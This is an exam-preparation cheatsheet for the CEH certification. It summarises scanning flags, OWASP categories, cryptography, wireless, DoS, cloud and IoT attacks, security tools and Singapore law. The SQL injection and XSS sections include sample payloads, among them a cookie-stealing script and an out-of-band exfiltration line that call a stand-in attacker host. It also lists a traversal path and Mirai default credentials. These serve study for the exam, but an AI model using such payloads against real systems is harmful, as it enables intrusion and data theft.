CEH Cheatsheet - Last-Mile Review
CEH Cheatsheet — Last-Mile Review
Section titled “CEH Cheatsheet — Last-Mile Review”How to use this file: Read once 24–48h before exam. Memorise the tables, especially the Nmap, OWASP, and Crypto sections. If you can’t explain every row in plain English, go back to the relevant
research/file.
1. Exam Snapshot
Section titled “1. Exam Snapshot”| Item | Value |
|---|---|
| Title | EC-Council Certified Ethical Hacker (CEH) |
| Current version | v13 (as of Aug 2026) |
| Format | Multiple-choice (MCQ); 4 hours; 125 questions |
| Pass score | ~70% (statistical, not fixed) |
| Delivery | Pearson VUE / ECC exam centre, proctored |
| ID | Passport (international candidates) |
| Retake | 1 free retake with voucher; 14-day cool-down |
| Cost | S$2,200 in SG (voucher only) |
| Recert | 120 ECE credits / 3 years OR retake |
| Recert cost | $250/year or 1,200 ECE/year |
2. The 5-Phase CEH Hacking Methodology
Section titled “2. The 5-Phase CEH Hacking Methodology”Some books show 6 phases (pre-attack + 5). For the exam, memorise 5 (CEH’s own canonical count). Source: EC-Council.
1. Reconnaissance → passive (OSINT) + active (scan)2. Scanning & Enumeration → ports, services, users, vulns3. Gaining Access → exploit, password attack, social engineer4. Maintaining Access → backdoor, rootkit, persistence5. Covering Tracks → log tampering, timestomp, alternate streamsPair with the Lockheed Martin Cyber Kill Chain (7 phases): Recon → Weaponisation → Delivery → Exploitation → Installation → C2 → Actions on Objectives.
And MITRE ATT&CK (14 enterprise tactics): Reconnaissance → Resource Development → Initial Access → Execution → Persistence → Privilege Escalation → Defense Evasion → Credential Access → Discovery → Lateral Movement → Collection → Command and Control → Exfiltration → Impact.
Exam tip: if a question says “attacker is at phase 3”, they mean the 5-phase model. If a question lists TTPs, it’s ATT&CK.
3. Nmap Must-Know Flags
Section titled “3. Nmap Must-Know Flags”| Flag | Name | Use |
|---|---|---|
-sS |
SYN scan (“half-open”) | Default; fast, stealthy |
-sT |
TCP connect scan | When you lack raw socket (non-root) |
-sU |
UDP scan | Slow, for DNS/SNMP/NFS |
-sN |
NULL scan | No flags set; defeats some IDS, Unix-only |
-sF |
FIN scan | FIN flag only; same as NULL |
-sX |
XMAS scan | FIN+PSH+URG; lit up like a tree |
-sA |
ACK scan | Maps firewall rulesets |
-sI |
Idle scan | Uses zombie host for source spoofing |
-sV |
Version detection | Service banner + version |
-O |
OS fingerprinting | |
-A |
Aggressive | -sV -O -sC |
-Pn |
Skip host discovery | Treat all hosts as up |
-p- |
All 65,535 ports | Slow but complete |
-T0..-T5 |
Timing templates | 0=paranoid, 5=insane |
-f / --mtu |
Fragment packets | IDS evasion |
-D RND:10 |
Decoy scan | Hide among 10 random sources |
-g 53 |
Source port | Spoof as DNS |
--script=default |
NSE scripts | Vuln scan, brute, etc |
Exam gotcha: NULL, FIN, XMAS work only against Unix. Windows ports reply RST regardless → results are unreliable.
4. OWASP Top 10 (2021)
Section titled “4. OWASP Top 10 (2021)”| # | Category | Example attack | Defect |
|---|---|---|---|
| A01 | Broken Access Control | IDOR, vertical/horizontal privilege escalation | Missing authz checks |
| A02 | Cryptographic Failures | Plaintext storage, weak hash, no TLS | Crypto misuse |
| A03 | Injection (SQLi, NoSQLi, LDAP, cmd) | ' OR 1=1-- |
Untrusted input to interpreter |
| A04 | Insecure Design | Missing rate limit on password reset | No threat model |
| A05 | Security Misconfiguration | Default creds, exposed S3 bucket | Misconfig |
| A06 | Vulnerable & Outdated Components | Log4Shell, Struts vuln | Unpatched deps |
| A07 | Identification & Auth Failures | Weak passwords, no MFA, session fixation | AuthN broken |
| A08 | Software & Data Integrity Failures | SolarWinds, Codecov | Unsigned updates, insecure deserialise |
| A09 | Logging & Monitoring Failures | No alerting on repeated failed logins | Blind spots |
| A10 | SSRF | Capital One breach | Server fetches user-supplied URL |
2025 draft (likely official Q4 2025): added categories around LLM/AI prompt injection and supply-chain compromise via build pipelines (xz-utils class). Verify before exam.
5. Cryptography Cheat
Section titled “5. Cryptography Cheat”| Algo | Type | Key | Strength | Use today? |
|---|---|---|---|---|
| DES | Symmetric | 56-bit | Broken | No |
| 3DES | Symmetric | 168-bit | Deprecated 2023 | Legacy only |
| AES | Symmetric | 128/192/256 | Strong | Yes — default |
| Blowfish | Symmetric | 32–448 bit | OK | File encryption |
| RC4 | Sym | 40–2048 | Broken | No (TLS banned) |
| RSA | Asym | ≥ 2048 | Strong (≥ 3072) | Yes |
| ECC | Asym | 256 | Strong, smaller keys | Yes (mobile, TLS) |
| DH | Asym | 1024–4096 | Strong | Key exchange |
| MD5 | Hash | 128-bit | Broken (collisions) | No |
| SHA-1 | Hash | 160-bit | Broken | No (SHA-1 collision in 2017) |
| SHA-2 | Hash | 224/256/384/512 | Strong | Yes |
| SHA-3 | Hash | 224/256/384/512 | Strong | Emerging |
| HMAC | MAC | varies | Strong | API signing |
Crypto Attacks
Section titled “Crypto Attacks”- Birthday attack — hash collisions (find same hash for 2 inputs in √n)
- Brute force — try all keys
- Known plaintext — have plaintext + ciphertext → derive key
- Chosen ciphertext — attacker can choose ciphertexts, learns decryption
- Man-in-the-middle — intercept DH key exchange
- Side-channel — power, EM, timing leakage
- Padding oracle (POODLE) — abuse CBC padding error messages
- Downgrade — force weakest protocol (SSL 3.0, TLS 1.0)
- X.509 certificate format
- CA signs certs; trust flows from root
- CRL = Certificate Revocation List (outdated, replaced by OCSP)
- OCSP = real-time cert status
- Self-signed = not trusted by default
Disk Encryption
Section titled “Disk Encryption”- BitLocker (Windows), FileVault (macOS), LUKS (Linux)
- EFS (Windows Encrypting File System) — file-level, not full-disk
6. Wireless Attacks
Section titled “6. Wireless Attacks”| Attack | Target | Tool |
|---|---|---|
| WEP cracking | 24-bit IV reuse | aircrack-ng, airmon-ng |
| WPA2-PSK cracking | 4-way handshake offline brute | aircrack-ng + dictionary |
| KRACK | 4-way handshake nonce reuse | krackattacks-scripts |
| Evil twin | Captive portal phishing | hostapd, wifiphisher, fluxion |
| Deauth | Force reconnect to capture handshake | aireplay-ng -0 |
| WPS PIN brute | 8-digit PIN, 11K combos | reaver, bully |
| Bluetooth — BlueBorne | L2CAP vuln | exploitable pre-2017 devices |
| Bluetooth — BlueSmack | L2CAP ping of death | l2ping |
| Bluejacking | Send vCard to device | btobex |
| Bluesnarfing | Steal contacts/files | btobex / vulnerabilities |
| Standard | Year | Speed | Security |
|---|---|---|---|
| 802.11a | 1999 | 54 Mbps | WEP |
| 802.11b | 1999 | 11 Mbps | WEP |
| 802.11g | 2003 | 54 Mbps | WPA |
| 802.11n | 2009 | 600 Mbps | WPA2 |
| 802.11ac | 2014 | 6.93 Gbps | WPA2 |
| 802.11ax (Wi-Fi 6/6E/7) | 2019+ | 9.6+ Gbps | WPA3 |
WPA3 uses SAE (Simultaneous Authentication of Equals), resists offline dictionary. Dragonblood (2019) showed timing side-channel.
7. Malware Taxonomy (must know the tree)
Section titled “7. Malware Taxonomy (must know the tree)”Malware├── Virus│ ├── File infector│ ├── Boot sector│ ├── Macro│ ├── Polymorphic (changes code)│ ├── Metamorphic (rewrites itself)│ └── Multipartite├── Worm (self-propagating over network)├── Trojan (disguised as legit)│ ├── RAT (Remote Access Trojan)│ ├── Banking trojan│ ├── Backdoor│ ├── DDoS trojan (Mirai-class)│ ├── Downloader / Dropper│ ├── Exploit kit│ └── Defacement├── Rootkit│ ├── User-mode│ ├── Kernel-mode│ └── Bootkit├── Ransomware│ ├── Locker (locks screen)│ ├── Crypto (encrypts files)│ ├── Double extortion (encrypt + leak)│ └── RaaS (Ransomware-as-a-Service)├── Spyware / Keylogger├── Fileless / LOLBins (PowerShell, WMI, PSExec)├── Logic bomb (triggers on event)└── Adware / PUPFileless malware uses trusted system tools (PowerShell, WMI, mshta, rundll32) to execute in memory. Hard to detect with signature AV.
8. DoS / DDoS Cheat
Section titled “8. DoS / DDoS Cheat”| Attack | Layer | Tool | Defense |
|---|---|---|---|
| SYN flood | L4 (TCP) | hping3, LOIC | SYN cookies, rate-limit |
| UDP flood | L4 | hping3, LOIC | Rate-limit, drop |
| ICMP flood / Smurf | L3 | ping, smurf | Disable directed broadcast |
| Ping of Death | L3 oversized | ping -l | Patch |
| Teardrop | L3 frag | teardrop.c | Patch, drop bad frags |
| Fraggle | L3/L4 UDP echo | udp echo | Disable UDP echo |
| HTTP flood | L7 | LOIC, Slowloris | WAF, rate-limit, CAPTCHA |
| Slowloris | L7 partial headers | slowloris.pl | WAF, conn timeout |
| DNS amplification | L3/L4 | amp tools | Anycast, rate-limit, BCP38 |
| NTP amplification | L3/L4 | ntpdc | Patch NTP, restrict monlist |
| Memcached DRDoS | L3/L4 | 51,000× amp | Disable UDP, auth |
| Mirai | L7 botnet | Mirai source | Default creds, IoT patches |
Botnet = network of compromised hosts (zombies). C&C = command-and-control (IRC, HTTP, P2P, Tor hidden service).
9. Cloud Security
Section titled “9. Cloud Security”Shared Responsibility Model
Section titled “Shared Responsibility Model”| Layer | Customer responsible for | Provider responsible for |
|---|---|---|
| IaaS (EC2) | OS, runtime, app, data, IAM | Hardware, hypervisor, network |
| PaaS (RDS, Beanstalk) | App, data, IAM | OS, runtime, middleware |
| SaaS (Gmail) | Data, users, access | Almost everything |
Top Cloud Attacks (exam-frequent)
Section titled “Top Cloud Attacks (exam-frequent)”- Misconfigured S3 / Blob (public buckets) — Tesla, Capital One
- SSRF → IMDSv1 — read IAM creds from metadata service (Capital One)
- IAM privilege escalation —
iam:PassRole,sts:AssumeRoleabuse - Cloud malware injection — attacker uploads malicious AMI/Container
- Cryptojacking — miners in cloud account
- Cloud-Network MITM via DNS rebinding / BGP hijack
- Container escape — privileged container + kernel exploit
- K8s RBAC misconfig — overly permissive ServiceAccount
Cloud Security Tools
Section titled “Cloud Security Tools”- ScoutSuite — multi-cloud auditor
- Prowler — AWS CIS benchmark
- Pacu — AWS exploitation framework
- kube-hunter — K8s vuln scanner
- Trivy — container image scanner
10. IoT / OT (Industrial)
Section titled “10. IoT / OT (Industrial)”IoT Attack Surface
Section titled “IoT Attack Surface”- Default credentials (Mirai dictionary of 60+)
- Open Telnet/SSH on the WAN (Shodan finds them)
- Insecure firmware updates
- Weak/no encryption
- Unnecessary services (UPnP)
Mirai (2016, 2017, 2024 variants)
Section titled “Mirai (2016, 2017, 2024 variants)”- Recruited 600K+ IoT devices
- Dictionary:
admin/admin,root/xc3511,root/root,default/1234 - Spread via Telnet brute force
- Used for largest DDoS ever (1.1 Tbps on Dyn DNS, Oct 2016)
OT/ICS
Section titled “OT/ICS”- Purdue Model (Levels 0–5): physical process → safety → control → supervisory → site operations → enterprise
- Protocols: Modbus, DNP3, Profinet, EtherNet/IP, IEC 60870-5-104
- PLCs, SCADA, HMI, DCS
- Famous attacks: Stuxnet (2010, Iran centrifuges), TRITON/Trisis (2017, Saudi petrochemical), Industroyer (2016, Ukraine grid), PIPEDREAM/CHERNOVITE (2022, ICS toolkit)
11. Mobile Attacks
Section titled “11. Mobile Attacks”| OS | Attack surface | Tool |
|---|---|---|
| Android | APK reverse, sideloading, permissions, WebView | MobSF, Frida, objection, jadx |
| iOS | Jailbreak, IPA reverse, keychain | Frida, objection, keychain-dumper |
- MDM = Mobile Device Management
- BYOD vs COPE (Corporate-Owned, Personally Enabled)
- Root (Android) / Jailbreak (iOS) = removes OS sandbox
12. Sniffing / MitM
Section titled “12. Sniffing / MitM”| Attack | What it does | Tool |
|---|---|---|
| ARP poisoning | Tell victim “I’m the gateway” | Ettercap, BetterCAP |
| MAC flooding | Overflow CAM table → hub mode | macof |
| MAC spoofing | Impersonate another device | macchanger |
| DHCP starvation | Exhaust DHCP pool | Yersinia, dhcpstarv |
| Rogue DHCP | Hand out malicious DNS/gateway | Yersinia |
| DNS poisoning | Cache fake records | Ettercap, dnsspoof |
| SSL stripping | Downgrade HTTPS→HTTP | sslstrip |
| SSL/TLS downgrade (POODLE) | Force SSL 3.0 | custom proxy |
| MitM browser | Inject into HTTPS via HSTS bypass | sslstrip +2 |
13. SQL Injection Types
Section titled “13. SQL Injection Types”| Type | How | Example |
|---|---|---|
| In-band — error-based | Cause DB error with details | ' → ODBC error |
| In-band — UNION | Append SELECT to original | ' UNION SELECT username, password FROM users-- |
| Inferential — boolean blind | Ask true/false questions | ?id=1' AND 1=1-- vs ?id=1' AND 1=2-- |
| Inferential — time blind | Use WAITFOR DELAY |
'; IF (1=1) WAITFOR DELAY '0:0:5'-- |
| Out-of-band | Use DNS/HTTP to exfil | '; EXEC xp_dirtree '//attacker.com/'-- |
Tools: sqlmap (the default), jSQL Injection, Havij (old)
14. Web Server / Web App Attacks
Section titled “14. Web Server / Web App Attacks”- Directory traversal —
../../../etc/passwd - HTTP response splitting — CRLF injection in headers
- HTTP request smuggling — desync between front and back proxy
- Web cache poisoning — cache malicious response
- XSS — Reflected, Stored, DOM-based
- CSRF — force authenticated user action
- IDOR — change ID in URL, access others’ data
- XXE — XML external entity read
- SSRF — server fetches user-supplied URL
Tools: Burp Suite (Pro $449/yr), OWASP ZAP (free), Nikto (web server scanner), wfuzz / ffuf (fuzzing), sqlmap, XSStrike
15. XSS / CSRF Quick
Section titled “15. XSS / CSRF Quick”XSS payload example: <script>document.location='http://attacker.com/?c='+document.cookie</script>
Reflected: payload in request → reflects in response. Stored: payload in DB. DOM: payload in client-side JS.
CSRF defense: SameSite=Strict cookie, CSRF token per request, Origin/Referer check.
CSP (Content-Security-Policy) is the XSS mitigation header.
16. Hashing & Password Cracking
Section titled “16. Hashing & Password Cracking”| Hash | Length | Cracking |
|---|---|---|
| LM | 14 chars × 2 × DES | Trivial; case-insensitive |
| NTLM | MD4(UTF-16LE) | Rainbow tables |
| MD5 | 128-bit | Fast, rainbow tables exist |
| SHA-1 | 160-bit | Cloud GPU brute |
| SHA-256 | 256-bit | Slow with bcrypt prepend |
| bcrypt | 60-char output | Slow by design (cost) |
| scrypt | 60-char output | Memory-hard |
| Argon2 | configurable | Memory-hard, modern choice |
Tools: Hashcat (CPU+GPU, $0), John the Ripper (CPU, $0), Hydra (online brute)
Modern password storage: Argon2id > bcrypt > scrypt. Never MD5/SHA-* alone.
17. Pen-Test Methodology (NIST SP 800-115 / PTES)
Section titled “17. Pen-Test Methodology (NIST SP 800-115 / PTES)”1. Planning → scope, ROE, threat model2. Discovery → passive + active recon3. Attack → exploit, brute, social4. Reporting → exec + technical summary5. Remediation → work with client to fix6. Re-test → verify fix| Box color | Knowledge | Time |
|---|---|---|
| Black | None | Most |
| Gray | Partial | Some |
| White | Full | Least |
18. Singapore / SEA Legal Quick Ref
Section titled “18. Singapore / SEA Legal Quick Ref”- PDPA (2012, amended 2020) — personal data. Consent Obligation, Purpose Limitation, Notification, Access/Correction, Accuracy, Protection, Retention Limitation, Transfer Limitation. DPO required for orgs > 5,000.
- CMCA (Computer Misuse Act 1993, renamed Computer Misuse and Cybersecurity Act 2017) — unauthorised access, modification, abstraction (added 2017). Penalty: up to 10 years + fine.
- Cybersecurity Act 2018 — CII (Critical Information Infrastructure) owners must report incidents to CSA within hours; run audits.
- SkillsFuture SSG — up to 70% subsidy for SG citizens/PRs on approved CEH training.
Authorisation is the #1 defence in any pen-test legal situation. If you don’t have written authorisation, every byte of network traffic is a CMCA violation.
19. Compliance Frameworks Quick
Section titled “19. Compliance Frameworks Quick”| Framework | Scope | Key idea |
|---|---|---|
| PCI DSS 4.0 | Card data | 12 requirements, segmentation, encryption |
| ISO 27001 | ISMS | Risk-based, Annex A 114 controls |
| ISO 27002 | IS controls | Implementation guidance |
| NIST CSF | All industries | Identify-Protect-Detect-Respond-Recover |
| NIST 800-53 | US federal | 1000+ controls |
| NIST 800-115 | Pen-test | THE pen-test guide |
| SOC 2 | Service orgs | Trust principles: Security, Availability, Confidentiality, Processing Integrity, Privacy |
| HIPAA | US healthcare | PHI protections |
| GDPR | EU personal data | 72h breach notification, DPO |
| CSA CCM | Cloud | Cloud Controls Matrix |
| FedRAMP | US gov cloud | Low/Moderate/High baselines |
| MAS TRM | SG financial | Technology Risk Management Guidelines |
20 . Tools to Recognise (by name, not by use)
Section titled “20 . Tools to Recognise (by name, not by use)”| Tool | Category | When you see it on exam |
|---|---|---|
| Nmap | Scanner | Port/service/OS detection |
| Wireshark | Packet capture | L2/L3 sniffing |
| tcpdump | CLI sniffer | Linux/server sniffing |
| Metasploit | Exploit framework | Exploitation, payloads |
| Burp Suite | Web proxy | Web app testing |
| OWASP ZAP | Web scanner | Free web app testing |
| sqlmap | SQLi | Automated SQLi |
| Nikto | Web server | Old-school web server scan |
| Aircrack-ng | Wireless | WiFi cracking |
| Kismet | Wireless | WiFi detection |
| Hydra | Online brute | SSH/FTP/HTTP brute |
| John the Ripper | Offline hash | Crack hashes CPU |
| Hashcat | Offline hash | Crack hashes GPU |
| Maltego | OSINT | Link analysis |
| theHarvester | OSINT | Email/subdomain recon |
| recon-ng | OSINT | Modular recon |
| Shodan / Censys | IoT search | Internet-wide scans |
| Metasploit / Armitage | Exploit | |
| Cain & Abel | Legacy sniffer | Old exam questions |
| Ettercap | MitM | L2 MitM |
| BetterCAP | MitM | Modern L2/L7 MitM |
| Mimikatz | Windows creds | Dump LSASS |
| Responder | LLMNR/NBNS poison | Credential capture |
| BloodHound | AD attack paths | Visualise AD |
| PowerView | AD recon | PowerShell AD |
| Kismet | WiFi IDS | |
| Mimikatz | creds | |
| Yersinia | L2 attacks | DHCP, STP, CDP |
| Hping3 | Packet crafter | Custom DoS, scan |
| Scapy | Packet crafter | Python, full control |
| Cuckoo / ANY.RUN | Sandbox | Malware analysis |
| IDA Pro / Ghidra | RE | Binary reverse engineering |
| YARA | Pattern match | Malware classification |
| Wifiphisher | Evil twin | Captive portal phish |
| Fluxion | Evil twin | Hostapd-based |
| Reaver | WPS | WPS PIN brute |
| SET (Social Engineering Toolkit) | SE | Phishing campaigns |
21. Exam-Day Triggers (auto-suspect → answer)
Section titled “21. Exam-Day Triggers (auto-suspect → answer)”| Question says… | Think… |
|---|---|
| “What is the FIRST step in CEH methodology?” | Reconnaissance (passive first) |
| “Which Nmap flag for stealth?” | -sS (SYN, half-open) |
| “Default port for HTTPS?” | 443 |
| “Default port for SSH?” | 22 |
| “Default port for RDP?” | 3389 |
| “Default port for SMB?” | 445 |
| “Default port for LDAP?” | 389 (636 for LDAPS) |
| “Default port for SQL Server?” | 1433 |
| “Default port for MySQL?” | 3306 |
| “Default port for PostgreSQL?” | 5432 |
| “Default port for Kafka?” | 9092 |
| “What is the BEST defense against XSS?” | Input validation + output encoding + CSP |
| “Defense in depth” | Multiple layers; no single point |
| “Zero Trust” | Never trust, always verify; NIST 800-207 |
| “Least privilege” | Minimum required access |
| “Defense against SQLi” | Parameterized queries (not escaping) |
| “Strongest symmetric cipher” | AES-256 |
| “Hash collision attack” | Birthday |
| “Which OSI layer for ARP?” | L2 |
| “TCP 3-way handshake” | SYN → SYN-ACK → ACK |
| “Which phase of kill chain is most expensive to recover from?” | Actions on Objectives (already exfiltrated) |
| “Pen-test vs red team” | Pen-test = scope, find vulns. Red team = goal-based, evade detection. |
| “Singapore PDPA breach notify” | PDPC ASAP, 72h if significant harm |
| “Singapore CII owner” | Report to CSA within prescribed time |
| “What is the goal of a DoS?” | Availability (the A in CIA) |
22. Last 24 Hours
Section titled “22. Last 24 Hours”- Re-read this cheatsheet once
- Re-read
01-exam-logistics.md§ Exam Day - Sleep 7+ hours
- Eat a real breakfast
- Bring passport, confirmation email, water, snack
- No new content; trust what you know
You’ve got this.